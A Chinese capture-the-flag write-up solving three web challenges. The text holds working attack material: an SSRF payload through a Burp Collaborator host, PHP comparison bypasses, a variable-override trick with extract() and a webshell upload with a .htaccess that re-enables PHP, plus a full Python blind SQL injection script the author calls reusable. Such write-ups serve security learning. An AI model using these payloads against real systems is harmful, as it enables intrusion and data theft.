呃呃呃,第一次正式打的比赛吧,被虐爆了,web方向只有三道题,但是由于各种原因,只写出来了一道,后面就没太多时间去写了,这是我对本次比赛的复现,希望能给各位师傅一点帮助

穿梭隐藏的密钥

首先打开来的生态环境长这样

image-20240605200104052

老样子,F12看看有没有好东西

0d136ce12b29ae95f29bc86844504b69

访问c3s4f.php,看看有什么

image-20240605200257911

继续看源码,有一个提示

image-20240605200325702

这很明显是要让我们fuzz出参数名,在这里给各位师傅推荐一个好工具Arjun,在kali中pip install Arjun就可以安装了

image-20240605200602363

很快啊,就fuzz出了一个参数shell,我们用GET方式提交,随便输入一个参数,得到如下页面

image-20240605200802619

很经典的xxf,但是无论怎么修改为127.0.0.1,都没有新的提示出来,所以我们扫一扫目录下有什么

image-20240605202203442

很好,有一个secret.php,显然,这里面指的秘密肯定就是这个secret.php,所以我们试着用ssrf进行攻击

payload如下:c3s4f.php?shell=http://spoofed.burpcollaborator.net/secret.php,具体参考这篇文章:SSRF | Lazzaro (lazzzaro.github.io)

image-20240605202648262

我们成功拿到下一层的密钥和地址,访问得到源代码

 <?php
show_source(__FILE__);
include('k4y.php');
include_once('flag.php');


// Challenge 1
if (isset($_GET['DrKn'])) {
$text = $_GET['DrKn'];
if(@file_get_contents($text) == $key) {
echo "有点东西呢"."</br>".$key1."</br>";
} else {
die("貌似状态不在线啊(╯_╰)</br>");
}
}


// Challenge 2
if (isset($_GET[$key1])) {
$damei = $_GET[$key1];
if (hash("md4", $damei) == $damei) {
echo "又近了一步呢,宝~"."</br>".$key2."</br>".$key3;
} else {
die("达咩哟~");
}
}


// Challenge 3
if (isset($_POST[$key2]) && isset($_POST[$key3])) {
$user = $_POST[$key2];
$pass = $_POST[$key3];

if (strlen($user) > 4 || strlen($pass) > 5) {
die("还得练");
}
if ($user !== $pass && md5($user) === md5($pass)) {
echo "还不错哦"."$flag";
}
else {
die("nonono") ;
}
}

?>

绕过都比较简单,老生常谈了

Challenge 1,file_get_contents,显然用data伪协议,DrKn=data://text/plain,MSIBLG

image-20240605203139455

Challenge 2,考md4弱类型比较的绕过,搜一搜就可以找到类似的payload

image-20240605203554834

所以我们这里的payload为M_ore.8=0e001233333333333334557778889,很好,没有反应,想了很久,检查了很多次,唯一的可能就是_被过滤了,果然还真是(以后看到_定要长个心眼),我们用[替代_

image-20240605203917461

Challenge 3,一眼丁真,数组绕过

image-20240605204031498

终于也是写出来了,呜呜呜呜

ezsign

首先dirsearch扫一波

image-20240605214634413

我们可以看到有index.php.bak,首先访问一下。得到源码如下

error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;

if($token){
extract($_GET);
$token = base64_decode($token);
$token = json_decode($token, true);


$username = $token['username'];
$password = $token['password'];
$isLocal = false;

if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
$isLocal = true;
}

if($isLocal){
echo 'Welcome Back,' . $username . '!';
//如果 upload 目录下存在$username.png文件,则显示图片
if(file_exists('upload/' . $username . '/' . $token['filename'])){
// 显示图片,缩小图片
echo '<br>';
echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
} else {
echo '请上传您高贵的头像。';
// 写一个上传头像的功能
$html = <<<EOD
<form method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<input type="submit" value="Upload">
</form>
EOD;
echo $html;
}
} else {
// echo "留个言吧";
$html = <<<EOD
<h1>留言板</h1>
<label for="input-text">Enter some text:</label>
<input type="text" id="input-text" placeholder="Type here...">
<button onclick="displayInput()">Display</button>
EOD;
echo $html;
}
} else {
$html = <<<EOD
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h2>Login</h2>
<form method="post" action="./login.php">
<div>
<label for="username">Username:</label>
<input type="text" name="username" id="username" required>
</div>
<div>
<label for="password">Password:</label>
<input type="password" name="password" id="password" required>
</div>
<div>
<input type="submit" value="Login">
</div>
</form>
</body>
</html>
EOD;
echo $html;
}
?>

<script>
function displayInput() {
var inputText = document.getElementById("input-text").value;
document.write(inputText)
}
</script>

0a1747033535429d1003439e5cd7e3e0

这里有extract函数,我们可以联系想到变量覆盖问题,用来伪造REMOTE_ADDR,我们构造的payload如下:?_SERVER[REMOTE_ADDR]=127.0.0.1

image-20240605215832315

好好好,文件上传,先传一个php🐎,发现上传成功

由源代码,我们知道路径在url/upload/$username/$filename,但是我们怎么都连接不上,所以可能是.htaccess设置了不解析,所以我们自己上传一个.htaccess文件打开php解析引擎

php_flag engine on	# 打开php解析
AddType application/x-httpd-php .php # 将该目录及子目录的所有文件均映射为php文件类型

之后蚁🗡连接就行

image-20240605223212287

Ezlogin

image-20240606105521433

发现存在sql注入,且过滤了unionif><concat(空格),我们使用布尔盲注,脚本参考其他师傅的,自己写不来

import requests
import base64
import json

url = "http://challenge.qsnctf.com:30642/"

str1 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}@#$\()*+,-./:;<=>?[\\]^`|~_&!%'

s = requests.Session()

def register(username):
data = {"username":username,"password":"123"}
r = s.post(url+'register.php',data)
#print(r.text)

def login(username):
data = {"username":username,"password":"123"}
res = requests.post(url+'login.php',data,allow_redirects=False)
cookie = res.headers['Set-Cookie'].split('=')[1]
return cookie

def home(token):
cookies = {"TOKEN":token}
r = s.get(url+'home.php',cookies=cookies)
res = r.text.split('<div class="seached-text">')[1].split('</div>')[0]
res = res.replace('<br>','\n')
#print(res)
return res

def token_fix(token):
token = bytes.fromhex(token)
token = base64.b64decode(token)
token = json.loads(token)
# print(token)
token['is_admin']=1
token = json.dumps(token)
token = base64.b64encode(token.encode())
token = token.hex()
return token

def request(username):
register(username)
token = login(username)
token = token_fix(token)
res = home(token)
return res



def database_length():
for i in range(10):
username = "admin'and length(database()) = {}#".format(i)
username = username.replace(' ','/**/')
res = request(username)

if 'No user found' not in res:
print('database_length: ',i)
return i
return 0


def database_name(length):
name = ''
for idx in range(1,length+1):
for char in str1:
payload = "admin'and substr(database(),{},1) = '{}'#".format(idx,char)
payload = payload.replace(' ','/**/')
res = request(payload)
if 'No user found' not in res:
name += char
print(name)
break


def table_length():
cnt = {}
for i in range(20):
flag = 1
for j in range(20):
flag = 0
payload = "admin'and length((select table_name from information_schema.tables where table_schema='dkctf' limit {},1))={}#".format(i,j)
payload = payload.replace(' ','/**/')
res = request(payload)
#print(res)
if 'No user found' not in res:
print('table_length: ',i,j)
cnt[i]=j
flag = 1
break
if flag == 0:
return cnt
return cnt

def table_name(cnt):
tables={}
for i in range(len(cnt)):
table = ''
for j in range(1,cnt[i]+1):
for char in str1:
payload = "admin'and substr((select table_name from information_schema.tables where table_schema='dkctf' limit {},1),{},1)='{}'#".format(i,j,char)
payload = payload.replace(' ','/**/')
res = request(payload)
#print(res)
if 'No user found' not in res:
table += char
print(i,table)
break
tables[i]=table
return tables

def column_length():
cnt = {}
for i in range(10):
flag = 1
for j in range(20):
flag = 0
payload = "admin'and length((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {},1))={}#".format(i,j)
payload = payload.replace(' ','/**/')
res = request(payload)
print(res)
if 'No user found' not in res:
print('column_length: ',i,j)
cnt[i]=j
flag = 1
break
if flag == 0:
return cnt
return cnt

def column_name(cnt):
columns={}
for i in range(len(cnt)):
column = ''
for j in range(1,cnt[i]+1):
for char in str1:
payload = "admin'and substr((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {},1),{},1)='{}'#".format(i,j,char)
payload = payload.replace(' ','/**/')
res = request(payload)
#print(res)
if 'No user found' not in res:
column += char
print(i,column)
break
columns[i]=column
return columns

def data():
flag = ''
for i in range(1,100):
for char in str1:
payload = "admin'and ord(substr((select sseeccrreett from secret),{},1))={}#".format(i,ord(char))
payload = payload.replace(' ','/**/')
res = request(payload)
#print(res)
if 'No user found' not in res:
flag += char
print(i,flag)
break


if __name__ == '__main__':
# 注库名 dkctf
length = database_length() # 5
database_name(length) # dkctf

# 注表名 user secret
# table_length = table_length() # {0: 4, 1: 6}
# print(table_length)
# tables = table_name(table_length) # {0: 'user', 1: 'secret'}
# print(tables)

# 注列名 注的是 secret 表 {0: 'flag', 1: 'sseeccrreett'}
# column_length = column_length()
# column_length = {0: 4, 1: 12}
# print(column_length)
# columns = column_name(column_length)
# print(columns) # {0: 'flag', 1: 'sseeccrreett'}

# 注数据 注 secret 表 sseeccrreett 列

image-20240606110151197

最后爆出flag

image-20240606110547516

这个盲注脚本应该是我看到过最全的了,应该可以通用,直接就是一手保存